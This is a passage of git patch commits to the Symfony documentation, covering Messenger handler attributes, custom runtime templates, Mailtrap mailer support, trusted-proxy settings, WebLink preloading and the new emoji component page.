-    #[AsMessageHandler(fromTransport: 'async', priority: 10)]
-    class SmsNotificationHandler
-    {
-        public function __invoke(SmsNotification $message): void
-        {
-            // ...
-        }
-    }
-
-Possible options to configure with the attribute are:
-
-==============================  ====================================================================================================
-Option                          Description
-==============================  ====================================================================================================
-``bus``                         Name of the bus from which the handler can receive messages, by default all buses.
-``fromTransport``               Name of the transport from which the handler can receive messages, by default all transports.
-``handles``                     Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                                type-hint.
-``method``                      Name of the method that will process the message, only if the target is a class.
-``priority``                    Priority of the handler when multiple handlers can process the same message.
-==============================  ====================================================================================================
-
 .. _messenger-handler-config:
 
 Manually Configuring Handlers
@@ -2263,10 +2229,29 @@ Manually Configuring Handlers
 
 Symfony will normally :ref:`find and register your handler automatically <messenger-handler>`.
 But, you can also configure a handler manually - and pass it some extra config -
-by tagging the handler service with ``messenger.message_handler``
+while using ``#AsMessageHandler`` attribute or tagging the handler service
+with ``messenger.message_handler``.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/MessageHandler/SmsNotificationHandler.php
+        namespace App\MessageHandler;
+
+        use App\Message\OtherSmsNotification;
+        use App\Message\SmsNotification;
+        use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
+        #[AsMessageHandler(fromTransport: 'async', priority: 10)]
+        class SmsNotificationHandler
+        {
+            public function __invoke(SmsNotification $message): void
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From 6ecffc36cd27825dc021e17c8b35db04358b56eb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?= <theo.fidry@gmail.com>
Date: Sun, 26 Feb 2023 12:38:11 +0100
Subject: [PATCH 5014/5766] [Runtime] Document registering your own runtime
 template

---
 components/runtime.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index c1588bac187..5c07fdad546 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -101,6 +101,26 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the
         }
     }
 
+If modifying the runtime class is not enough, you can always create your own runtime
+template:
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "autoload_template": "resources/runtime/autoload_runtime.template"
+            }
+        }
+    }
+
+If you want a reference, the The Symfony's runtime can be found at
+<a href="https://github.com/symfony/symfony/blob/5.4/src/Symfony/Component/Runtime/Internal/autoload_runtime.template" class="reference external" title="Symfony autoload_runtime.template" rel="external noopener noreferrer" target="_blank">src/Symfony/Component/Runtime/Internal/autoload_runtime.template()</a>.
+
+
 Using the Runtime
 -----------------
 

From 1f3704aa9437ad7f19017b0734fb4c241bc4f0c7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Sep 2024 09:33:08 +0200
Subject: [PATCH 5015/5766] Minor tweaks

---
 components/runtime.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 375b53506c0..eba9e39661d 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -101,8 +101,7 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the
         }
     }
 
-If modifying the runtime class is not enough, you can always create your own runtime
-template:
+If modifying the runtime class isn't enough, you can create your own runtime template:
 
 .. code-block:: json
 
@@ -117,9 +116,7 @@ template:
         }
     }
 
-If you want a reference, the The Symfony's runtime can be found at
-<a href="https://github.com/symfony/symfony/blob/5.4/src/Symfony/Component/Runtime/Internal/autoload_runtime.template" class="reference external" title="Symfony autoload_runtime.template" rel="external noopener noreferrer" target="_blank">src/Symfony/Component/Runtime/Internal/autoload_runtime.template()</a>.
-
+Symfony provides a `runtime template file`_ that you can use to create your own.
 
 Using the Runtime
 -----------------
@@ -507,3 +504,4 @@ The end user will now be able to create front controller like::
 .. _Swoole: https://openswoole.com/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
+.. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template

From e425caf94ceb2d7336a5aff5e7832529d6ce8ebd Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 12 Sep 2024 22:39:59 -0400
Subject: [PATCH 5016/5766] [Mailer] add Mailtrap docs

---
 mailer.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 21032732c4b..a8d0eda3072 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -109,6 +109,7 @@ Service               Install with                                    Webhook su
 `Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
+`Mailtrap`_           ``composer require symfony/mailtrap-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
@@ -124,7 +125,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.2
 
-    The Mailomat, Postal and Sweego integrations were introduced in Symfony 7.2.
+    The Mailomat, Mailtrap, Postal and Sweego integrations were introduced in Symfony 7.2.
 
 .. note::
 
@@ -216,6 +217,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailpace+api://API_TOKEN@default``              |
 +------------------------+---------------------------------------------------------+
+| `Mailtrap`_            | - SMTP ``mailtrap+smtp://PASSWORD@default``             |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailtrap+api://API_TOKEN@default``              |
++------------------------+---------------------------------------------------------+
 | `Postal`_              | - SMTP n/a                                              |
 |                        | - HTTP n/a                                              |
 |                        | - API ``postal+api://API_KEY@BASE_URL``                 |
@@ -1581,6 +1586,7 @@ The following transports currently support tags and metadata:
 
 * Brevo
 * Mailgun
+* Mailtrap
 * Mandrill
 * Postmark
 * Sendgrid
@@ -2000,6 +2006,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`Postal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postal/README.md
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
+.. _`Mailtrap`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailtrap/README.md
 .. _`Resend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Resend/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME

From 5bc5d4706510f351a95090dd6ac14250143d708c Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Sun, 15 Sep 2024 08:13:32 -0400
Subject: [PATCH 5017/5766] use /templates instead of /Resources/views

The modern (and default) directory structure.
---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index 4567a018823..2ef5a04dc10 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1294,7 +1294,7 @@ and leaves the repeated contents and HTML structure to some parent templates.
 
     .. code-block:: html+twig
 
-        {# app/Resources/views/blog/index.html.twig #}
+        {# app/templates/blog/index.html.twig #}
         {% extends 'base.html.twig' %}
 
         {# the line below is not captured by a "block" tag #}
@@ -1481,7 +1481,7 @@ templates under an automatic namespace created after the bundle name.
 
 For example, the templates of a bundle called ``AcmeBlogBundle`` are available
 under the ``AcmeBlog`` namespace. If this bundle includes the template
-``<your-project>/vendor/acme/blog-bundle/Resources/views/user/profile.html.twig``,
+``<your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig``,
 you can refer to it as ``@AcmeBlog/user/profile.html.twig``.
 
 .. tip::

From 8dc86e520d70da315ad07922b16eec34b445ef4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Sep 2024 09:34:39 +0200
Subject: [PATCH 5018/5766] Minor tweak

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 2ef5a04dc10..edbf782032c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1294,7 +1294,7 @@ and leaves the repeated contents and HTML structure to some parent templates.
 
     .. code-block:: html+twig
 
-        {# app/templates/blog/index.html.twig #}
+        {# templates/blog/index.html.twig #}
         {% extends 'base.html.twig' %}
 
         {# the line below is not captured by a "block" tag #}

From 24b9c0c3056aaa72e8f7fad1459dbfb69e75909b Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Mon, 16 Sep 2024 10:36:42 +0200
Subject: [PATCH 5019/5766] [Options Resolver] Fix file reference method

---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index e1d82c4df7e..c01f727139a 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -822,7 +822,7 @@ method::
 
     When using an option deprecated by you in your own library, you can pass
     ``false`` as the second argument of the
-    :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method
+    :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::offsetGet` method
     to not trigger the deprecation warning.
 
 .. note::

From 4dc4e9d75724eb3874149e7a5455f81dce17cdef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Sep 2024 10:53:05 +0200
Subject: [PATCH 5020/5766] Minor tweak

---
 reference/configuration/framework.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 80c1944eea1..19f72bb6cb3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1884,7 +1884,8 @@ If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
 .. deprecated:: 7.2
 
-    The ``sid_length`` option was deprecated in Symfony 7.2.
+    The ``sid_length`` option was deprecated in Symfony 7.2. No alternative is
+    provided as PHP 8.4 has deprecated the related option.
 
 sid_bits_per_character
 ......................
@@ -1900,7 +1901,8 @@ If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be re
 
 .. deprecated:: 7.2
 
-    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2.
+    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2. No alternative
+    is provided as PHP 8.4 has deprecated the related option.
 
 save_path
 .........

From 36a7c6dd137a8e819360be1b7e107732b0cdd04b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Sep 2024 14:31:19 +0200
Subject: [PATCH 5021/5766] [Uid] Add the `Uuid::FORMAT_RFC_9562` constant

---
 components/uid.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/uid.rst b/components/uid.rst
index feb58968347..73974ef8732 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -329,6 +329,7 @@ The following constants are available:
 * ``Uuid::FORMAT_BASE_32``
 * ``Uuid::FORMAT_BASE_58``
 * ``Uuid::FORMAT_RFC_4122``
+* ``Uuid::FORMAT_RFC_9562`` (equivalent to ``Uuid::FORMAT_RFC_4122``)
 
 You can also use the ``Uuid::FORMAT_ALL`` constant to accept any UUID format.
 By default, only the RFC 4122 format is accepted.

From b3fcbd0951e3fe689d3dce40b5fd10d7975a6ab5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=BCrgen?= <juukie@users.noreply.github.com>
Date: Tue, 17 Sep 2024 23:44:33 +0200
Subject: [PATCH 5022/5766] Typo correction testing.rst

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d7f500bfa54..1e07fa4fc69 100644
--- a/testing.rst
+++ b/testing.rst
@@ -318,7 +318,7 @@ concrete one::
         }
     }
 
-No further configuration in required, as the test service container is a special one
+No further configuration is required, as the test service container is a special one
 that allows you to interact with private services and aliases.
 
 .. versionadded:: 6.3

From 7a8d0c44f97540e3ef80df087828174f5c8ebec9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 09:12:56 +0200
Subject: [PATCH 5023/5766] [Translation] Mention the support of segment
 attributes in XLIFF

---
 reference/formats/xliff.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/formats/xliff.rst b/reference/formats/xliff.rst
index acb9af36014..b5dc99b4186 100644
--- a/reference/formats/xliff.rst
+++ b/reference/formats/xliff.rst
@@ -29,7 +29,7 @@ loaded/dumped inside a Symfony application:
                     <note category="approved">true</note>
                     <note category="section" priority="1">user login</note>
                 </notes>
-                <segment>
+                <segment state="translated" subState="Some custom value">
                     <source>original-content</source>
                     <target>translated-content</target>
                 </segment>
@@ -37,4 +37,8 @@ loaded/dumped inside a Symfony application:
         </file>
     </xliff>
 
+.. versionadded:: 7.2
+
+    The support of attributes in the ``<segment>`` element was introduced in Symfony 7.2.
+
 .. _XLIFF: https://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html

From d971cea1c706ff93df2c16bedfd7c0223a5514a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 13:30:17 +0200
Subject: [PATCH 5024/5766] =?UTF-8?q?[HttpFoundation]=C2=A0Document=20the?=
 =?UTF-8?q?=20PRIVATE=5FSUBNETS=20string?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 deployment/proxies.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 40c2550ee2c..fc6f855451d 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -143,9 +143,17 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
        framework:
            # ...
            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-           # run time by $_SERVER['REMOTE_ADDR'])
+           # runtime by $_SERVER['REMOTE_ADDR'])
            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
+           # you can also use the 'PRIVATE_SUBNETS' string, which is replaced at
+           # runtime by the IpUtils::PRIVATE_SUBNETS constant
+           # trusted_proxies: '127.0.0.1,PRIVATE_SUBNETS'
+
+.. versionadded:: 7.2
+
+    The support for the ``'PRIVATE_SUBNETS'`` string was introduced in Symfony 7.2.
+
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
 other information.

From 35c94bcad73e1108fe8e0a103a1fdd9bd88bd63b Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Sun, 8 Sep 2024 17:26:35 +0200
Subject: [PATCH 5025/5766] improve web_link

---
 web_link.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index 82466e56b42..945cec45a6d 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -59,7 +59,8 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style">
+        <link rel="stylesheet" href="/app.css">
     </head>
 
 If you reload the page, the perceived performance will improve because the
@@ -74,7 +75,8 @@ requested the HTML page.
 
         <head>
             <!-- ... -->
-            <link rel="preload" href="{{ preload(asset('build/app.css')) }}">
+            <link rel="preload" href="{{ preload(asset('build/app.css')) }}" as="style">
+            <!-- ... -->
         </head>
 
 Additionally, according to `the Priority Hints specification`_, you can signal
@@ -84,7 +86,8 @@ the priority of the resource to download using the ``importance`` attribute:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', importance: 'low'}) }}" as="style">
+        <!-- ... -->
     </head>
 
 How does it work?
@@ -108,7 +111,8 @@ issuing an early separate HTTP request, use the ``nopush`` option:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style">
+        <!-- ... -->
     </head>
 
 Resource Hints
@@ -142,7 +146,8 @@ any link implementing the `PSR-13`_ standard. For instance, any
     <head>
         <!-- ... -->
         <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}">
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style">
+        <!-- ... -->
     </head>
 
 The previous snippet will result in this HTTP header being sent to the client:

From 912d988beee8d246be5f464a5efae5356fad6a99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 16:46:01 +0200
Subject: [PATCH 5026/5766] Tweaks

---
 web_link.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/web_link.rst b/web_link.rst
index 945cec45a6d..7a09e6273d6 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -59,6 +59,8 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
+        {# note that you must add two <link> tags per asset:
+           one to link to it and the other one to tell the browser to preload it #}
         <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style">
         <link rel="stylesheet" href="/app.css">
     </head>
@@ -67,6 +69,13 @@ If you reload the page, the perceived performance will improve because the
 server responded with both the HTML page and the CSS file when the browser only
 requested the HTML page.
 
+.. tip::
+
+    When using the :doc:`AssetMapper component </frontend/asset_mapper>` to link
+    to assets (e.g. ``importmap('app')``), there's no need to add the ``<link rel="preload">``
+    tag. The ``importmap()`` Twig function automatically adds the ``Link`` HTTP
+    header for you when the WebLink component is available.
+
 .. note::
 
     You can preload an asset by wrapping it with the ``preload()`` function:

From 2e118366f2008a899da6adb7178a4db280d2548f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 11 Sep 2024 08:42:14 +0200
Subject: [PATCH 5027/5766] [Emoji][String] Extract Emoji from String
 documentation

---
 components/intl.rst |   2 +-
 emoji.rst           | 143 ++++++++++++++++++++++++++++++++++++
 string.rst          | 174 +-------------------------------------------
 3 files changed, 145 insertions(+), 174 deletions(-)
 create mode 100644 emoji.rst

diff --git a/components/intl.rst b/components/intl.rst
index 008d9161fd7..ba3cbdcb959 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -386,7 +386,7 @@ Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
 Symfony provides utilities to translate emojis into their textual representation
-in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>`
+in all languages. Read the documentation about :ref:`emoji transliteration <emoji-transliteration>`
 to learn more about this feature.
 
 Disk Space
diff --git a/emoji.rst b/emoji.rst
new file mode 100644
index 00000000000..ba6ca38ed73
--- /dev/null
+++ b/emoji.rst
@@ -0,0 +1,143 @@
+Working with Emojis
+===================
+
+.. versionadded:: 7.1
+
+    The emoji component was introduced in Symfony 7.1.
+
+Symfony provides several utilities to work with emoji characters and sequences
+from the `Unicode CLDR dataset`_. They are available via the Emoji component,
+which you must first install in your application:
+
+.. _installation:
+
+.. code-block:: terminal
+
+    $ composer require symfony/emoji
+
+.. include:: /components/require_autoload.rst.inc
+
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space.
+
+If you need to save disk space (e.g. because you deploy to some service with tight
+size constraints), run this command (e.g. as an automated script after ``composer install``)
+to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/emoji/Resources/bin/compress
+
+.. _emoji-transliteration:
+
+Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` class offers a way to translate emojis into their
+textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    // Describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // Describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+You can also combine the ``EmojiTransliterator`` with the :ref:`slugger <string-slugger-emoji>`
+to transform any emojis into their textual representation.
+
+Transliterating Emoji Text Short Codes
+......................................
+
+Services like GitHub and Slack allows to include emojis in your messages using
+text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
+
+Symfony also provides a feature to transliterate emojis into short codes and vice
+versa. The short codes are slightly different on each service, so you must pass
+the name of the service as an argument when creating the transliterator.
+
+Convert emojis to GitHub short codes with the ``emoji-github`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-github');
+    $transliterator->transliterate('Teenage 🐢 really love 🍕');
+    // => 'Teenage :turtle: really love :pizza:'
+
+Convert GitHub short codes to emojis with the ``github-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('github-emoji');
+    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
+    // => 'Teenage 🐢 really love 🍕'
+
+.. note::
+
+    Github, Gitlab and Slack are currently available services in
+    ``EmojiTransliterator``.
+
+.. _text-emoji:
+
+Universal Emoji Short Codes Transliteration
+###########################################
+
+If you don't know which service was used to generate the short codes, you can use
+the ``text-emoji`` locale, which combines all codes from all services::
+
+    $transliterator = EmojiTransliterator::create('text-emoji');
+
+    // Github short codes
+    $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
+    // Gitlab short codes
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // Slack short codes
+    $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
+
+    // all the above examples produce the same result:
+    // => 'Breakfast with 🥝 or 🥛'
+
+You can convert emojis to short codes with the ``emoji-text`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-text');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwifruit: or :milk-glass:
+
+Inverse Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Given the textual representation of an emoji, you can reverse it back to get the
+actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
+
+.. code-block:: twig
+
+    {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #}
+    {{ 'I like :kiwi:'|emojify }}       {# renders: I like 🥝 #}
+    {{ 'I like :kiwifruit:'|emojify }}  {# renders: I like 🥝 #}
+
+By default, ``emojify`` uses the :ref:`text catalog <text-emoji>`, which
+merges the emoji text codes of all services. If you prefer, you can select a
+specific catalog to use:
+
+.. code-block:: twig
+
+    {{ 'I :green-heart: this'|emojify }}                  {# renders: I 💚 this #}
+    {{ ':green_salad: is nice'|emojify('slack') }}        {# renders: 🥗 is nice #}
+    {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #}
+    {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
+
+Removing Emojis
+~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
+via the special ``strip`` locale::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/string.rst b/string.rst
index 5e18cfcaea3..702e9344880 100644
--- a/string.rst
+++ b/string.rst
@@ -507,177 +507,6 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
-.. _working-with-emojis:
-
-Working with Emojis
--------------------
-
-.. versionadded:: 7.1
-
-    The emoji component was introduced in Symfony 7.1.
-
-Symfony provides several utilities to work with emoji characters and sequences
-from the `Unicode CLDR dataset`_. They are available via the Emoji component,
-which you must first install in your application:
-
-.. code-block:: terminal
-
-    $ composer require symfony/emoji
-
-.. include:: /components/require_autoload.rst.inc
-
-The data needed to store the transliteration of all emojis (~5,000) into all
-languages take a considerable disk space.
-
-If you need to save disk space (e.g. because you deploy to some service with tight
-size constraints), run this command (e.g. as an automated script after ``composer install``)
-to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
-
-.. code-block:: terminal
-
-    # adjust the path to the 'compress' binary based on your application installation
-    $ php ./vendor/symfony/emoji/Resources/bin/compress
-
-.. _string-emoji-transliteration:
-
-Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~
-
-The ``EmojiTransliterator`` class offers a way to translate emojis into their
-textual representation in all languages based on the `Unicode CLDR dataset`_::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    // Describe emojis in English
-    $transliterator = EmojiTransliterator::create('en');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with pizza or spaghetti'
-
-    // Describe emojis in Ukrainian
-    $transliterator = EmojiTransliterator::create('uk');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with піца or спагеті'
-
-Transliterating Emoji Text Short Codes
-......................................
-
-Services like GitHub and Slack allows to include emojis in your messages using
-text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
-
-Symfony also provides a feature to transliterate emojis into short codes and vice
-versa. The short codes are slightly different on each service, so you must pass
-the name of the service as an argument when creating the transliterator:
-
-GitHub Emoji Short Codes Transliteration
-########################################
-
-Convert emojis to GitHub short codes with the ``emoji-github`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-github');
-    $transliterator->transliterate('Teenage 🐢 really love 🍕');
-    // => 'Teenage :turtle: really love :pizza:'
-
-Convert GitHub short codes to emojis with the ``github-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('github-emoji');
-    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
-    // => 'Teenage 🐢 really love 🍕'
-
-Gitlab Emoji Short Codes Transliteration
-########################################
-
-Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-gitlab');
-    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
-    // => 'Breakfast with :kiwi: or :milk:'
-
-Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('gitlab-emoji');
-    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
-    // => 'Breakfast with 🥝 or 🥛'
-
-Slack Emoji Short Codes Transliteration
-#######################################
-
-Convert emojis to Slack short codes with the ``emoji-slack`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-slack');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-Convert Slack short codes to emojis with the ``slack-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('slack-emoji');
-    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
-    // => 'Menus with 🥗 or 🧆'
-
-.. _string-text-emoji:
-
-Universal Emoji Short Codes Transliteration
-###########################################
-
-If you don't know which service was used to generate the short codes, you can use
-the ``text-emoji`` locale, which combines all codes from all services::
-
-    $transliterator = EmojiTransliterator::create('text-emoji');
-
-    // Github short codes
-    $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
-    // Gitlab short codes
-    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
-    // Slack short codes
-    $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
-
-    // all the above examples produce the same result:
-    // => 'Breakfast with 🥝 or 🥛'
-
-You can convert emojis to short codes with the ``emoji-text`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-text');
-    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
-    // => 'Breakfast with :kiwifruit: or :milk-glass:
-
-Inverse Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 7.1
-
-    The inverse emoji transliteration was introduced in Symfony 7.1.
-
-Given the textual representation of an emoji, you can reverse it back to get the
-actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
-
-.. code-block:: twig
-
-    {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #}
-    {{ 'I like :kiwi:'|emojify }}       {# renders: I like 🥝 #}
-    {{ 'I like :kiwifruit:'|emojify }}  {# renders: I like 🥝 #}
-
-By default, ``emojify`` uses the :ref:`text catalog <string-text-emoji>`, which
-merges the emoji text codes of all services. If you prefer, you can select a
-specific catalog to use:
-
-.. code-block:: twig
-
-    {{ 'I :green-heart: this'|emojify }}                  {# renders: I 💚 this #}
-    {{ ':green_salad: is nice'|emojify('slack') }}        {# renders: 🥗 is nice #}
